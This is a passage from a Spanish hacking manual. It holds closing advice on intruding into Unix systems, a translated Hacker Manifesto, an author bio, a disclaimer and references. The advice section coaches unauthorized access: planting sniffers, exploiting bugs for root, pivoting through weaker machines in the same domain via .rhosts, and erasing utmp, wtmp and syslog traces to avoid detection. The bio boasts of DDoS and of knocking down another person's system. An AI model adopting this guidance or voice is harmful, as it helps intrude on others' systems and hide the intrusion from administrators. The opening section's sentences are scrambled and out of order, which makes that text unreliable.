detallar algunas técnicas sobre cómo conseguir acceso. Vamos a ver el último paso. al owner de los terminales por defecto que normalmente es el root). Quizá el método más famoso y más eficiente sea la colocación de un sniffer. por lo que cuando vayamos a irnos del sistema siempre tendremos que comprobar antes que no hemos dejado registros (logs).

II . relajarse. Lo que sí se puede hacer es intentar explotar bugs que afecten a los sistemas Unix en general (hay algunos) o bugs que afecten a alguno de los protocolos TCP/IP. Si siguen sin funcionar ninguno.. así que debemos esperar a que el administrador no se dé cuenta de las intrusiones (tanto en el utmp. si determinados archivos tienen permisos set-uid. etc. Esta organización nos evitará pérdidas de tiempo valioso (con lo que aumenta la impaciencia del hacker principiante) y ayudará a diferenciar las técnicas de hacking que se pueden intentar de aquellas que no debemos ni siquiera pensar en aplicar. lo que debemos buscar es dejar las menos huellas posibles en el sistema. lo mejor es apartarse de la pantalla diez o quince minutos. Seguramente el SunOS 4.. En ningún momento debe uno ponerse nervioso o intentar cosas a tontas y locas. o qué hacer a continuación..1.Hackear otra máquina del mismo dominio y que sea más fácil de penetrar.Consejos Finales 1 -En el caso de que se consiga alguna cuenta para acceder a la computadora. ya sea buscando bugs más modernos que sirvan para la versión del sistema que intentamos hackear como examinando FAQs. como explotar bugs que funcionan en otros sistemas porque lo único que conseguiremos será dejar más huellas y perder el tiempo. Este método suele ser el más utilizado cuando una máquina se nos resiste debido a que existen más recursos al hackear una máquina (con técnicas que permiten conseguir privilegios de root a la vez que conseguimos entrar en dicha máquina) desde una máquina de su mismo dominio.). podremos dedicarnos a explorar el sistema (hasta donde permitan los privilegios) para tener una visión general de cómo está protegido el sistema (por ejemplo viendo si los usuarios tienen archivos . pero yo siempre utilizo una de estas dos): I . no servirán de nada). que desde una máquina que no pertenezca a su dominio. es decir. Para intentar conseguir privilegios de root es fundamental ante todo que hagamos una distinción de los bugs que podemos intentar explotar y aquellos que los que no debemos intentarlo (debido a que si son bugs de otro SO Unix distinto a aquel en que estamos operando. A la hora de intentar explotar algún bug relativo al sistema que estemos hackeando.. también es importante tener los exploits bien organizados y convenientemente editados (muchas veces los exploits vienen mezclados en mensajes de texto) para que lo único que tengamos que hacer sea subirlos por FTP al sistema y ejecutarlos (y compilarlos si no fueran shell scripts). Importante: En este caso. que propietario tienen determinados archivos. 2 -En caso de que no funcione ningún bug en el sistema de los que tenemos. y a partir de ahí tenemos dos opciones principales (puede haber más. Si se empieza a sentir que se pierde la calma. es posible que no sepamos muy bien cómo podremos reaccionar. No debemos intentar hacer las cosas a lo loco. documentos o páginas html que traten sobre dicho sistema en general y su seguridad en particular. que sea mucho más insegura.Olvidarse durante unos 2 días del sistema que intentamos hackear y aprender todo lo que podamos sobre el SO Unix que utiliza esa máquina.rhosts. Las huellas que hemos dejado hasta el momento no podremos borrarlas si no sabemos como hacerlo.x sea el sistema del que se conocen más bugs. Es en este momento donde toma importancia la organización que mencionamos al inicio de este documento. etc. ante todo mucha calma. 206 . por eso se aconseja la distribución en directorios de los bugs según el sistema o protocolo al que afecten. Existen sistemas más "fáciles" o "inseguros" que otros debido a que se conocen más bugs sobre ellos. y después intentar hallar un camino para conseguir privilegios. wtmp o los logs del syslog).

Nunca debemos tener miedo de intentar hacer cosas dentro del sistema. quizá te puedas poner un poco fanfarrón y escribas un documento como éste. más adelante no volveremos a cometerlos.3 . I .. Depurar los programas también forma parte de las labores del hacker. pero cada vez aprenderemos más. práctica y más práctica. II . Para terminar. Los errores cometidos una o dos veces. nos descubrirán muchas veces y nos cerrarán el acceso otras tantas.Como se mencionó anteriormente. y que uno se convierta en su propio profesor.. Cualquier persona leer un montón de documentos sobre hacking como este. Con la práctica se aprenderá a reconocer porqué tal o cual código fuente no compila correctamente. comprobando si la máquina objetivo exporta directorios a la máquina que hemos hackeado. pero siempre hay que experimentar. eso forma parte del aprendizaje.La forma más sencilla es poner un sniffer en la máquina insegura que hemos hackeado esperando conseguir una cuenta de la máquina objetivo que pretendemos hackear. Una cosa es seguro. un par de consejos para determinadas situaciones que se aprenden a resolverlas a base de práctica.rhosts mediante los comandos rlogin o rsh. 5 . Por ejemplo aprovechando los archivos . Y quién sabe.Muchas veces intentaremos compilar un programa para explotar algún bug y dará errores cuando se supone que debía compilar correctamente. no limitarnos a leerlas en un papel.. intentar las cosas. Se trata de hackear otra máquina del mismo domino que sea más insegura y desde esa máquina hackear la máquina que nos hemos puesto por objetivo. Si nos atrapan y cierran el acceso. 4 . existen muchos más recursos para hackear una máquina desde otra máquina de su mismo dominio de los que se pueden utilizar al tratar de hackearla desde una máquina que no es de su propio dominio. Simplemente nos vamos a ejercer el Oficio a otro sistema y se acabó (incluso puede ser otro sistema del mismo dominio). pues mala suerte. 207 . etc.Cuando no conseguimos acceder a una computadora que pretendemos hackear. No debemos pensar que seremos atrapados y que nos van a cerrar el acceso. pero si quieres aprender a hackear de verdad lo mejor es la práctica y ponerse manos a la obra cuanto antes. En definitiva: siempre puede dar un poco angustia el que nos cierren el acceso a alguna computadora a la que ya habíamos conseguido entrar.. el recurso que más se suele utilizar es el que hemos comentado antes. nos espabilaremos y poco a poco lo iremos haciendo mejor.

encierra mucho de la cultura que se comenzó a fraguar en aquellos años cuando el Internet iniciaba su camino a la popularización y que terminó siendo masivo a mediados de los noventa. no tengo el trabajo en papel.. Hace lo que yo quiero que haga.. estafan al país y nos mienten tratando de hacernos creer que son buenos. Construyen bombas atómicas. los conozco a todos. les dirigiese la palabra o escuchado su voz. lo que enseñan me aburre sobremanera. malditos chiquillos. y me encuentro con un teclado. Sr. Sí. se abre una puerta a un nuevo mundo. Mi delito es ser más inteligente que ustedes. Seguro que lo ha copiado.. piense que soy un listillo o no le guste ni enseñar ni estar aquí. Son todos iguales. soy un delincuente. se emana un pulso electrónico.. aquí es a donde pertenezco. sin pagar por esto que podría haber sido más barato si no fuese por los especuladores. “Malditos chiquillos.. 08/01/1986 208 . ni la religión.. después de todo. asesinan. hacen la guerra. no por lo que parece. Les he oído explicar cientos de veces cómo es que se reducen las fracciones. “Malditos profesores. somos todos iguales. Ya está enganchado otra vez al teléfono.”. Aquellos que tienen algo que enseñar buscan desesperadamente alumnos que deseen aprender. me tenga miedo. con su psicología barata y su cerebro de los años cincuenta. Podrán eliminar a algunos de nosotros. Una computadora.. “Es esto.. Lo tengo guardado dentro de mi cabeza”. la belleza del baudio. Esto es bueno. Este mundo es nuestro. Son todos iguales”.. Mi mundo comienza en la escuela. Una parte de este escrito se menciona en la película Hackers. y se quejan de que se lo damos todo tan masticado que cuando lo reciben ya ni siquiera tiene sabor. y nos llaman delincuentes. como la heroína abriéndose paso en el interior de las venas. y aún así nos tratan de delincuentes. Hoy he descubierto algo. puedes apostar lo que quieras a que son todos iguales. Buscamos ampliar nuestros conocimientos. pero no a todos. todo a través de la línea telefónica. siquiera echar un vistazo a lo que existe detrás de los ojos de un hacker? ¿Se han parado alguna vez a pensar qué es lo que les hace comportarse así. es porque yo le he dicho que lo haga. y ustedes nos llaman delincuentes. Smith.. A todo lo que se dedican es a jugar. ni la nacionalidad.. Son todos iguales.. “Malditos chiquillos.. Soy un hacker. qué les ha convertido en lo que son? Yo soy un hacker.. Nosotros no diferenciamos el color de la piel..... Soy más listo que el resto de mis compañeros. Son todos iguales”. The Mentor. Todo eso ya lo entiendo. Mi delito es la curiosidad.. Y nos llaman a nosotros delincuentes. No porque yo no le agrade. buscaba un refugio ante las incompetencias de todos los días. el mundo de los electrones y los interruptores. Puedo estar en la escuela o en un instituto. algo que nunca me perdonarán.. aunque jamás me haya cruzado con ellos.. son todos iguales” ¿Pero pueden. Utilizamos un servicio que ya existe.. y éste es mi manfiesto. Aunque se encuentra un poco fuera de lugar y desfasado.. Si comete errores. les das la mano y se toman el brazo... “Joven detenido por delito informático”..Manifiesto Hacker Este manifiesto lo escribió un sujeto que se hizo llamar El Mentor. Malditos chiquillos... “No. entra en mi mundo. Entonces ocurre algo. Conozco a todo el mundo. pero es como querer encontrar una aguja en un pajar.. aparece en todos los periódicos. O nos gobiernan los sádicos o nos ignoran los apáticos. Mi delito es juzgar a la gente por lo que dice y por lo que piensa. Hoy han atrapado a otro.. “hacker arrestado por irrumpir en sistema bancario”.

fecha en que entró a estudiar en Datamex del Norte. no me hago responsable del mal uso que se dé a la información aqui expuesta ya que su publicación tiene como objetivo ser informativa. Yo. así de simple. cuya creación tardó casi dos años trabajando en tiempos de ocio. Con la consigna de que todo conocimiento humano pertenece a todos. Disclaimer (Renuncia de responsabilidad) Este documento. Algunos de los artículos presentados son traducciones fieles de documentos creados por hackers expertos y profesionales en seguridad informática. didáctica o inclusive.org/download). Actualmente labora en una compañía de Telemarketing que da servicio a clientes latinos de empresas estadounidenses. BlitzKrieg. es de distribución libre y BlitzKrieg no saca ganancia monetaria ni pide retribución por la publicación de este documento. fue quien dió el impulso final para terminar con mi bloqueo mental y con sus palabras me animó a finalizar con la tarea. Atentamente BlitzKrieg Agosto 2007 – Enero 2009 209 . Este es un documento de divulgación.org) y convertido a documento PDF. Su primera incursión en el mundo de los hackers fue en 1999 cuando entró al Mirc y vio abrirse una puerta gigantezca de posibilidades. mas no practicante de tiempo completo de la seguridad informática. Así mismo. Personas apreciadas Las personas que siempre estuvieron en mi mente cuando se gestaba este documento incluyen: Martha “Marthiux” Lozano. de entretenimiento. aunque quizá no lo sepa o recuerde.freespire. no se me puede hacer responsable por daños a equipos ajenos o propios que sucedan durante la ejecución de los ejercicios presentados.0 de Linux (http://www. Alex Chavez y por último. Hecho en el Sistema Operativo Freespire 2.openoffice. Todo se hace bajo la responsabilidad de quien lee este documento y de nadie más. Laboró en compañías como Roche y Novartis en la fuerza de ventas y su interés en las computadoras data desde 1986. Como se menciona en el prólogo. Cosas que prometió jamás volver a hacer.0 (www. Esta obra puede descargarse. Su primer ataque fue contra una página web dedicada a la pornografía infantil utilizando un DDoS y su último ataque importante fue tumbar el sistema de cómputo de una lamer que vandalizó una wiki personal haciendo uso del NetCat y el Nmap (ambas para Linux) como herramientas y empleando la técnica decoy scans.2. Me desligo totalmente de las acciones perpetradas por cualquier persona que utilice la información contenida en este documento con fines ilícitos. se libera a la comunidad de Internet que esté interesada en la materia. imprimirse e inclusive mejorarse libremente sin ningún tipo de restricción. pero no menos importante. Mariana “Marianita” López.Palabras Finales BlitzKrieg es farmacólogo de profesión retirado y un entusiasta interesado. Ha escrito diversos artículos farmacológicos para la Wikipedia en español con el seudónimo de StormBringer. Eduardo “El Santitos” Santos. copiarse. Este documento fue creado con OpenOffice 2. La mayoría de los ejercicios fueron probados y comprobados en WinXP y Linux empleando una red doméstica a base de computadoras personales genéricas marca Alaska.

Por Nicolás Velázquez. 12. Por Marcelo Damonte 16. Glosario Informático. "La Dedicación íntegra". Por Lauri Watts. Redes de Computadoras: Por Andrew S.catb. Manual de UNIX. por Ankit Fadia 6. Tanenbaum. por David Rankine y Sorita. por Eric Steven Raymond [http://www. Las Cuentas Shell. Sacándole Provecho a una excelente Utilidad 29. Servicio de Informática de la Universidad de Almeria. NetCat. Por Jonathan Noel Tombs y Jorge Chávez Orzáez. Version 1.2 30. Password cracking with L0phtCrack 3. Por Fred N. The Modern Hacker's Desk Reference.Hobbit. Por Virtual Circuit y Psychotic. Kliber. van Kempen. Tutorial: Hping2 Basics. Denegación de Servicio: DoS. 24.nu/program/util/netcat/netcat. 1997 27. por Sergio de los Santos. Test de Penetración. por Ankit Fadia 8. Revista @rroba. Reformulada por BlitzKrieg 4. 2005 7.0. Hackers y Seguridad Informática. Por American Anarchist. Russel. Psychotic's FAQ. 22. DDoS y DRDoS. 25. 20. 2001 19. 1995 210 . Revista @rroba. Por Patrick Boismenu 9. Penetration Testing with dsniff. 1987 15. Técnicas Avanzadas de Escaneo. Network Intrusion Detection: Por Stephen Northcutt 21. Por Nicolás Velásquez. Por Ismael Briones Vilar.org/~esr/faqs/hacker- howto.2. Forces Of Darkness. The Official Guide To Hacking And Phreaking. NetCat. 14. Por Xandor SymmLeo Xet. Sniffers Torn Apart. Por Don Parker 23. Por Chris Gates. 10. Sistemas de Detección de Intrusos. Hacking With Your Cat -Ver 1.html] 3. FTP. introducción a unix. Por Ismael Briones Vilar. Hacking: What's Legal And What's Not. Packet Analysis Tools and methodology part 1. Introduction to dsniff.4. Por Christopher R. 17. Yo Tengo el Poder. 33. Pendiente. Passwords. por Alaric 5. Por The Rhino9 Team 28. Sniffin' the Ether. complemento de la revista @rroba. Telnet. Escalandp Privilegios.Referencias 1. Rev 2. 2. Hack Paso a paso. Revista @rroba. Cómo Volverse Un Hacker. Help File http://m. Por Ismael Briones Vilar. 26. Magikh0e. Manual ARP. por Lora Danielle 18. NetCat: Conseguir una Shell 31. Aprovechando Puertas Abiertas.html 32. Por Rafael Fernández Calvo 13. Documentación de Freespire 11.

Sign up to vote on this title
UsefulNot useful